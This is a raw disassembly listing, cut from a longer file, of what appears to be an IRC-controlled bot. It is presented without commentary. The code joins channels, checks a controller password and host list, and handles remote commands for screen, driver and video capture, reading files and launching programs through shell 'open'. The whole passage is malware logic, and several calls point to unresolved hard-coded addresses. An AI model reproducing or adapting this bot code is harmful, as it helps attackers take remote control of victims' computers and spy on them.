call sub_4151AC
jmp loc_40351F
; ---------------------------------------------------------------------------
loc_408BEA: ; CODE XREF: sub_401ACD+48A3j
; sub_401ACD+48BAj
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
call sub_41AFE0
push [ebp+arg_8]
mov esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push edi
lea eax, [eax+esi+2]
push eax
call sub_41B900
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409854
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A434
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push [ebp+arg_10]
push [ebp+arg_4]
call sub_409A72
add esp, 20h
push esi
push [ebp+arg_10]
push offset unk_429CE4
jmp loc_408A4B
; ---------------------------------------------------------------------------
loc_408C57: ; CODE XREF: sub_401ACD+4875j
; sub_401ACD+488Cj
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
call sub_41AFE0
push [ebp+arg_8]
mov esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push edi
lea eax, [eax+esi+2]
push eax
call sub_41B900
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409854
push ebx
push ebx
push esi
push [ebp+arg_10]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
push esi
push [ebp+arg_10]
push offset unk_429CC4
jmp loc_408A4B
; ---------------------------------------------------------------------------
loc_408CAC: ; CODE XREF: sub_401ACD+4847j
; sub_401ACD+485Ej
cmp [ebp+var_C], ebx
jz loc_401E94
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz loc_401E94
push eax
push [ebp+arg_10]
call sub_4150B4
pop ecx
pop ecx
push [ebp+arg_10]
push offset unk_429CA4
loc_408CDB: ; CODE XREF: sub_401ACD+5852j
; sub_401ACD+7B2Aj
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
jmp loc_40960F
; ---------------------------------------------------------------------------
loc_408CEF: ; CODE XREF: sub_401ACD+4819j
; sub_401ACD+4830j
push edi
push [ebp+arg_10]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4184E1
jmp loc_4040FC
; ---------------------------------------------------------------------------
loc_408D09: ; CODE XREF: sub_401ACD+47DBj
; sub_401ACD+47F0j
push [ebp+arg_10]
push [ebp+arg_1C]
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz loc_409854
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jz loc_408DB1
push esi
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408D99
push esi
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_429EF8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41B5F0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push [ebp+arg_10]
push offset unk_429C7C
push eax
call sub_41B886
add esp, 10h
inc [ebp+arg_24]
jmp loc_40877A
; ---------------------------------------------------------------------------
loc_408D99: ; CODE XREF: sub_401ACD+726Fj
lea eax, [ebp+var_2C4]
push offset unk_429C4C
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_40877A
; ---------------------------------------------------------------------------
loc_408DB1: ; CODE XREF: sub_401ACD+725Aj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41ACF6
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
lea eax, [ebp+var_2C4]
push [ebp+arg_10]
push offset dword_429C30
push 200h
push eax
call sub_41B980
add esp, 10h
jmp loc_40877A
; ---------------------------------------------------------------------------
loc_408DFD: ; CODE XREF: sub_401ACD+47B1j
; sub_401ACD+47C6j
push offset aScreen ; "screen"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_408E58
mov edi, [ebp+esi+var_88]
cmp edi, ebx
jz short loc_408E45
push edi
call sub_4153BC
cmp eax, 1
pop ecx
jnz short loc_408E3E
push edi
lea eax, [ebp+var_2C4]
push offset unk_429BFC
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_408E58
; ---------------------------------------------------------------------------
loc_408E3E: ; CODE XREF: sub_401ACD+7358j
push offset unk_429BCC
jmp short loc_408E4A
; ---------------------------------------------------------------------------
loc_408E45: ; CODE XREF: sub_401ACD+734Cj
push offset unk_429B90
loc_408E4A: ; CODE XREF: sub_401ACD+7376j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
loc_408E58: ; CODE XREF: sub_401ACD+7341j
; sub_401ACD+736Fj
push offset aDrivers ; "drivers"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_408EE5
xor edi, edi
loc_408E6D: ; CODE XREF: sub_401ACD+7403j
lea eax, [ebp+var_53F8]
push 1FFh
push eax
lea eax, [ebp+var_4EF0]
push 0FFh
push eax
push edi
call dword_4CAFA4
test eax, eax
jz short loc_408ECC
lea eax, [ebp+var_53F8]
push eax
lea eax, [ebp+var_4EF0]
push eax
push edi
lea eax, [ebp+var_5D88]
push offset unk_429B60
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_5D88]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 28h
loc_408ECC: ; CODE XREF: sub_401ACD+73C1j
inc edi
cmp edi, 0Ah
jl short loc_408E6D
lea eax, [ebp+var_2C4]
push offset unk_429B38
push eax
call sub_41B886
pop ecx
pop ecx
loc_408EE5: ; CODE XREF: sub_401ACD+739Cj
push offset aFrame ; "frame"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_408F86
cmp [ebp+esi+var_88], ebx
jz short loc_408F73
cmp [ebp+esi+var_84], ebx
jz short loc_408F73
mov edi, [ebp+esi+var_80]
cmp edi, ebx
jz short loc_408F73
mov eax, [ebp+esi+var_7C]
cmp eax, ebx
jz short loc_408F73
push eax
call sub_41B779
pop ecx
push eax
push edi
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_88]
call sub_4155F7
add esp, 10h
test eax, eax
jnz short loc_408F6C
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset unk_429B04
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_408F86
; ---------------------------------------------------------------------------
loc_408F6C: ; CODE XREF: sub_401ACD+7480j
push offset unk_429AD0
jmp short loc_408F78
; ---------------------------------------------------------------------------
loc_408F73: ; CODE XREF: sub_401ACD+7436j
; sub_401ACD+743Fj ...
push offset unk_429A98
loc_408F78: ; CODE XREF: sub_401ACD+74A4j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
loc_408F86: ; CODE XREF: sub_401ACD+7429j
; sub_401ACD+749Dj
push offset aVideo ; "video"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_408759
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_1C], eax
jz short loc_40901E
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz short loc_40901E
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_40901E
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
jz short loc_40901E
mov esi, [ebp+esi+var_78]
cmp esi, ebx
jz short loc_40901E
push esi
call sub_41B779
pop ecx
push eax
push edi
call sub_41B779
pop ecx
push eax
push [ebp+arg_18]
call sub_41B779
pop ecx
push eax
push [ebp+arg_0]
call sub_41B779
pop ecx
push eax
push [ebp+arg_1C]
call sub_4157F0
add esp, 14h
test eax, eax
jnz short loc_409014
push [ebp+arg_1C]
push offset unk_429A64
jmp loc_40874A
; ---------------------------------------------------------------------------
loc_409014: ; CODE XREF: sub_401ACD+7538j
push offset unk_429A24
jmp loc_4090E2
; ---------------------------------------------------------------------------
loc_40901E: ; CODE XREF: sub_401ACD+74DCj
; sub_401ACD+74EAj ...
push offset unk_4299E4
jmp loc_4090E2
; ---------------------------------------------------------------------------
loc_409028: ; CODE XREF: sub_401ACD+4041j
; sub_401ACD+4056j
push offset aR ; "r"
push [ebp+arg_10]
call sub_41B4C2
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz short loc_409098
mov esi, 200h
push edi
lea eax, [ebp+var_2C4]
push esi
push eax
call sub_41BB4F
add esp, 0Ch
loc_409053: ; CODE XREF: sub_401ACD+75B5j
test eax, eax
jz short loc_409084
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
push edi
lea eax, [ebp+var_2C4]
push esi
push eax
call sub_41BB4F
add esp, 20h
jmp short loc_409053
; ---------------------------------------------------------------------------
loc_409084: ; CODE XREF: sub_401ACD+7588j
push edi
call sub_41B05B
pop ecx
push [ebp+arg_10]
push offset unk_4299C0
jmp loc_409226
; ---------------------------------------------------------------------------
loc_409098: ; CODE XREF: sub_401ACD+756Ej
push [ebp+arg_10]
push offset unk_42999C
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_4090A5: ; CODE XREF: sub_401ACD+4017j
; sub_401ACD+402Cj
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409854
push offset asc_429998 ; "\n"
push esi
call sub_41BEC0
push esi
call sub_419A50
add esp, 0Ch
test eax, eax
jnz short loc_4090F5
push offset unk_42996C
loc_4090E2: ; CODE XREF: sub_401ACD+754Cj
; sub_401ACD+7556j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_408759
; ---------------------------------------------------------------------------
loc_4090F5: ; CODE XREF: sub_401ACD+760Ej
push esi
lea eax, [ebp+var_2C4]
push offset dword_429954
push eax
call sub_41B886
add esp, 0Ch
jmp loc_40877A
; ---------------------------------------------------------------------------
loc_40910F: ; CODE XREF: sub_401ACD+3FEDj
; sub_401ACD+4002j
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz loc_409854
push eax
call sub_418211
test eax, eax
pop ecx
jnz short loc_40913F
push offset unk_429934
jmp short loc_4090E2
; ---------------------------------------------------------------------------
loc_40913F: ; CODE XREF: sub_401ACD+7669j
push offset dword_429918
jmp short loc_4090E2
; ---------------------------------------------------------------------------
loc_409146: ; CODE XREF: sub_401ACD+3FC3j
; sub_401ACD+3FD8j
push 7Fh
lea eax, [ebp+var_2080]
push [ebp+arg_10]
push eax
call sub_41B5F0
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jz short loc_409177
push 7Fh
lea eax, [ebp+var_2000]
push esi
push eax
call sub_41B5F0
add esp, 0Ch
loc_409177: ; CODE XREF: sub_401ACD+7696j
push 7Fh
lea eax, [ebp+var_1F80]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_2084], eax
mov eax, [ebp+var_8]
push [ebp+arg_10]
mov [ebp+var_1EFC], eax
mov eax, [ebp+var_4]
mov [ebp+var_1EF8], eax
lea eax, [ebp+var_2C4]
push offset dword_429900
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Ch
push eax
call sub_40B0F6
add esp, 18h
mov [ebp+var_1F00], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2084]
push ebx
push eax
push offset sub_41ADB5
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_1F00]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40921A
loc_409204: ; CODE XREF: sub_401ACD+774Bj
cmp [ebp+var_1EF4], ebx
jnz loc_406CFF
push 32h
nop
call near ptr 2650E43h
jmp short loc_409204
; ---------------------------------------------------------------------------
loc_40921A: ; CODE XREF: sub_401ACD+7735j
nop
call near ptr 2660A00h
push eax
push offset unk_4298C0
loc_409226: ; CODE XREF: sub_401ACD+29CEj
; sub_401ACD+75C6j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
jmp loc_406CFF
; ---------------------------------------------------------------------------
loc_40923A: ; CODE XREF: sub_401ACD+3F99j
; sub_401ACD+3FAEj
push ebx
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_10]
call sub_40F96A
add esp, 10h
push [ebp+arg_10]
push offset dword_4298A8
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_40925C: ; CODE XREF: sub_401ACD+3F6Fj
; sub_401ACD+3F84j
push 14h
lea eax, [ebp+var_1D48]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_1D34]
push [ebp+arg_10]
push offset aS_1 ; "%s"
push eax
call sub_41B886
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1D50], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_1C30]
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1BA8], eax
mov eax, [ebp+var_8]
mov [ebp+var_1BA4], eax
lea eax, [ebp+var_1C30]
push eax
lea eax, [ebp+var_1D34]
push eax
lea eax, [ebp+var_2C4]
push offset unk_429884
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_1BAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1D50]
push ebx
push eax
push offset loc_415E1A
push ebx
push ebx
nop
call near ptr 2660000h
mov ecx, [ebp+var_1BAC]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz loc_4023E6
loc_409325: ; CODE XREF: sub_401ACD+786Cj
cmp [ebp+var_1BA0], ebx
jnz loc_4083BC
push 32h
call near ptr 2650E43h
nop
jmp short loc_409325
; ---------------------------------------------------------------------------
loc_40933B: ; CODE XREF: sub_401ACD+3F45j
; sub_401ACD+3F5Aj
push [ebp+arg_10]
nop
call near ptr 26601FEh
test eax, eax
jz short loc_409366
push [ebp+arg_10]
lea eax, [ebp+var_2C4]
push offset dword_429868
push 200h
push eax
call sub_41B980
jmp loc_409444
; ---------------------------------------------------------------------------
loc_409366: ; CODE XREF: sub_401ACD+7879j
push offset dword_42A070
call sub_41814C
pop ecx
push eax
jmp loc_403F47
; ---------------------------------------------------------------------------
loc_409377: ; CODE XREF: sub_401ACD+3F1Bj
; sub_401ACD+3F30j
push [ebp+arg_10]
call sub_41B779
push eax
call sub_4199C9
pop ecx
pop ecx
push 1
pop esi
push [ebp+arg_10]
cmp eax, esi
jnz short loc_409398
push offset unk_429844
jmp short loc_40939D
; ---------------------------------------------------------------------------
loc_409398: ; CODE XREF: sub_401ACD+78C2j
push offset unk_429814
loc_40939D: ; CODE XREF: sub_401ACD+78C9j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_406D02
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
jmp loc_406D02
; ---------------------------------------------------------------------------
loc_4093D6: ; CODE XREF: sub_401ACD+3EF1j
; sub_401ACD+3F06j
push ebx
push ebx
push [ebp+arg_10]
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_4196BC
add esp, 18h
cmp eax, 1
push [ebp+arg_10]
jnz short loc_4093FC
push offset unk_4297F4
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_4093FC: ; CODE XREF: sub_401ACD+7923j
push offset unk_4297C4
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_409406: ; CODE XREF: sub_401ACD+3EC7j
; sub_401ACD+3EDCj
mov esi, [ebp+arg_10]
push esi
call dword_4CAFB4
cmp eax, 0FFFFFFFFh
mov [ebp+var_2D8], eax
jz short loc_40944C
push 2
lea eax, [ebp+var_2D8]
push 4
push eax
call dword_4CAF2C
cmp eax, ebx
jz short loc_409467
push dword ptr [eax]
loc_409432: ; CODE XREF: sub_401ACD+7998j
push esi
lea eax, [ebp+var_2C4]
push offset unk_4297A4
push eax
call sub_41B886
loc_409444: ; CODE XREF: sub_401ACD+7894j
add esp, 10h
jmp loc_406CDE
; ---------------------------------------------------------------------------
loc_40944C: ; CODE XREF: sub_401ACD+794Cj
push esi
call dword_4CAFF8
cmp eax, ebx
jz short loc_409467
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_4CB000
push eax
jmp short loc_409432
; ---------------------------------------------------------------------------
loc_409467: ; CODE XREF: sub_401ACD+7961j
; sub_401ACD+7988j
push offset unk_42977C
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_409471: ; CODE XREF: sub_401ACD+3E9Dj
; sub_401ACD+3EB2j
push 7Fh
push [ebp+arg_10]
push [ebp+arg_14]
call sub_41B5F0
add esp, 0Ch
push [ebp+arg_10]
push offset unk_429754
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_40948E: ; CODE XREF: sub_401ACD+3E73j
; sub_401ACD+3E88j
push 5
push ebx
push ebx
push [ebp+arg_10]
push offset aOpen ; "open"
push ebx
call dword_4CAEE0
push [ebp+arg_10]
test eax, eax
jz short loc_4094B2
push offset unk_429734
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_4094B2: ; CODE XREF: sub_401ACD+79D9j
push offset unk_429710
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_4094BC: ; CODE XREF: sub_401ACD+3E49j
; sub_401ACD+3E5Ej
mov eax, [ebp+arg_10]
mov cl, [eax]
mov byte_429094, cl
movsx eax, byte ptr [eax]
push eax
push offset unk_4296E8
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_4094D5: ; CODE XREF: sub_401ACD+3E1Fj
; sub_401ACD+3E34j
push [ebp+arg_10]
call sub_41B779
test eax, eax
pop ecx
jle loc_409854
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40B08D
add esp, 10h
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B45C
push eax
call sub_41B886
add esp, 0Ch
jmp loc_408994
; ---------------------------------------------------------------------------
loc_409527: ; CODE XREF: sub_401ACD+3DF5j
; sub_401ACD+3E0Aj
mov esi, [ebp+arg_10]
push esi
call sub_41B779
test eax, eax
pop ecx
jle loc_401E94
push esi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_401E94
push offset aQuitLater ; "QUIT :later\r\n"
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call sub_409A2C
pop ecx
pop ecx
push 1F4h
nop
call near ptr 2650E43h
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call dword_4CB00C
push [ebp+var_10]
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEC4[eax]
nop
call near ptr 2670A1Bh
push esi
call sub_41B779
imul eax, 234h
push esi
mov dword_43DEC4[eax], ebx
call sub_41B779
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_43DCB0[eax], bl
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_4095D5: ; CODE XREF: sub_401ACD+3DCBj
; sub_401ACD+3DE0j
push [ebp+arg_10]
push offset aAll ; "all"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_409641
call sub_40B2BF
cmp eax, ebx
jle short loc_4095FC
push eax
push offset unk_4296BC
jmp loc_408CDB
; ---------------------------------------------------------------------------
loc_4095FC: ; CODE XREF: sub_401ACD+7B22j
push offset unk_429694
loc_409601: ; CODE XREF: sub_401ACD+24F9j
; sub_401ACD+2518j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
loc_40960F: ; CODE XREF: sub_401ACD+721Dj
cmp [ebp+var_8], ebx
jnz short loc_409630
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_409628: ; CODE XREF: sub_401ACD+6DB4j
call sub_409A72
add esp, 14h
loc_409630: ; CODE XREF: sub_401ACD+26F6j
; sub_401ACD+2721j ...
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
jmp loc_40207D
; ---------------------------------------------------------------------------
loc_409641: ; CODE XREF: sub_401ACD+7B19j
mov eax, [ebp+var_AC]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_401E94
lea eax, [ebp+edi*4+var_90]
mov [ebp+arg_24], eax
loc_40965D: ; CODE XREF: sub_401ACD+7C01j
mov eax, [ebp+arg_24]
mov esi, [eax]
cmp esi, ebx
jz loc_401E94
push esi
call sub_41B779
push eax
call sub_40B231
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_409684
push offset unk_429670
jmp short loc_409689
; ---------------------------------------------------------------------------
loc_409684: ; CODE XREF: sub_401ACD+7BAEj
push offset unk_429644
loc_409689: ; CODE XREF: sub_401ACD+7BB5j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4096B9
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_4096B9: ; CODE XREF: sub_401ACD+7BCEj
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
add [ebp+arg_24], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_40965D
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_4096D5: ; CODE XREF: sub_401ACD+3DA1j
; sub_401ACD+3DB6j
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409854
push esi
push offset dword_429DB0
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push esi
push offset dword_429628
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_409711: ; CODE XREF: sub_401ACD+3D77j
; sub_401ACD+3D8Cj
push [ebp+arg_10]
push offset dword_429D14
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push [ebp+arg_10]
push offset unk_429604
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_409731: ; CODE XREF: sub_401ACD+3D4Dj
; sub_401ACD+3D62j
push [ebp+esi+var_88]
push [ebp+arg_10]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 10h
push [ebp+arg_10]
push offset unk_4295E0
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_409758: ; CODE XREF: sub_401ACD+3D23j
; sub_401ACD+3D38j
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push [ebp+arg_10]
push offset unk_4295BC
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_409778: ; CODE XREF: sub_401ACD+3163j
; sub_401ACD+3178j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409A2C
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push [ebp+arg_10]
push offset unk_429598
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
push [ebp+arg_10]
call sub_41B779
add esp, 14h
loc_4097B2: ; CODE XREF: sub_401ACD+7D33j
push eax
call near ptr 2650E43h
nop
loc_4097B9: ; CODE XREF: sub_401ACD+2AA2j
xor eax, eax
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_4097C0: ; CODE XREF: sub_401ACD+3139j
; sub_401ACD+314Ej
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409A2C
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push [ebp+arg_10]
push offset unk_429570
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
push [ebp+arg_10]
call sub_41B779
add esp, 14h
imul eax, 3E8h
jmp short loc_4097B2
; ---------------------------------------------------------------------------
loc_409802: ; CODE XREF: sub_401ACD+EC8j
; sub_401ACD+EDDj
push [ebp+esi+var_8C]
xor eax, eax
cmp [ebp+var_8F0], bl
setnz al
push eax
lea eax, [ebp+var_338]
push dword_42909C
push eax
call sub_40B08D
add esp, 10h
lea eax, [ebp+var_338]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
lea eax, [ebp+var_338]
push eax
push offset unk_42954C
loc_40984D: ; CODE XREF: sub_401ACD+70B4j
; sub_401ACD+778Aj ...
call sub_415220
pop ecx
loc_409853: ; CODE XREF: sub_401ACD+6CB9j
pop ecx
loc_409854: ; CODE XREF: sub_401ACD+659j
; sub_401ACD+665j ...
mov eax, [ebp+arg_24]
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_40985C: ; CODE XREF: sub_401ACD+AB5j
; sub_401ACD+AC8j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_10], esi
jz loc_401E94
cmp [ebp+var_A4], ebx
jnz loc_401E94
push offset asc_42CA28 ; "!"
push [ebp+var_90]
call sub_41C0F4
mov esi, eax
push offset dword_4CAE2C
push ebx
inc esi
call sub_41C0F4
push offset asc_429548 ; "~"
push eax
call sub_41C0F4
push [ebp+arg_10]
mov edi, eax
push offset aCool ; "cool"
call sub_41C070
add esp, 20h
test eax, eax
jz short loc_4098FB
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push edi
push esi
push offset unk_4294C8
jmp loc_40240A
; ---------------------------------------------------------------------------
loc_4098FB: ; CODE XREF: sub_401ACD+7DEAj
mov [ebp+arg_24], offset off_429160
loc_409902: ; CODE XREF: sub_401ACD+7E51j
mov eax, [ebp+arg_24]
push edi
push dword ptr [eax]
call sub_40B44F
pop ecx
test eax, eax
pop ecx
jnz short loc_409962
add [ebp+arg_24], 4
cmp [ebp+arg_24], offset off_429164
jb short loc_409902
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push edi
push esi
push offset unk_429474
jmp loc_40240A
; ---------------------------------------------------------------------------
loc_409962: ; CODE XREF: sub_401ACD+7E44j
mov edi, [ebp+arg_18]
xor esi, esi
loc_409967: ; CODE XREF: sub_401ACD+7EC4j
cmp [ebp+arg_10], ebx
jz loc_401E94
cmp [edi], bl
jnz short loc_409987
push [ebp+arg_10]
push offset aCool ; "cool"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_409998
loc_409987: ; CODE XREF: sub_401ACD+7EA5j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_409967
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_409998: ; CODE XREF: sub_401ACD+7EB8j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_E00]
push 7Fh
push eax
push esi
call sub_41B5F0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4099CF
push ebx
push [ebp+var_4]
push offset unk_429454
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_4099CF: ; CODE XREF: sub_401ACD+7EE6j
lea eax, [ebp+var_C4]
push eax
push offset unk_429434
jmp loc_402077
; ---------------------------------------------------------------------------
loc_4099E0: ; CODE XREF: sub_401ACD+20Ej
; sub_401ACD+223j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push offset aXI ; "-x+i"
push [ebp+arg_10]
push offset aModeSS_0 ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 10h
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 10h
mov dword_4CAE24, edi
jmp loc_401D6A
sub_401ACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A2C proc near ; CODE XREF: sub_401955+3Dp
; sub_401ACD+1CBp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41C190
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CAFC4
leave
retn
sub_409A2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A72 proc near ; CODE XREF: sub_401ACD+518p
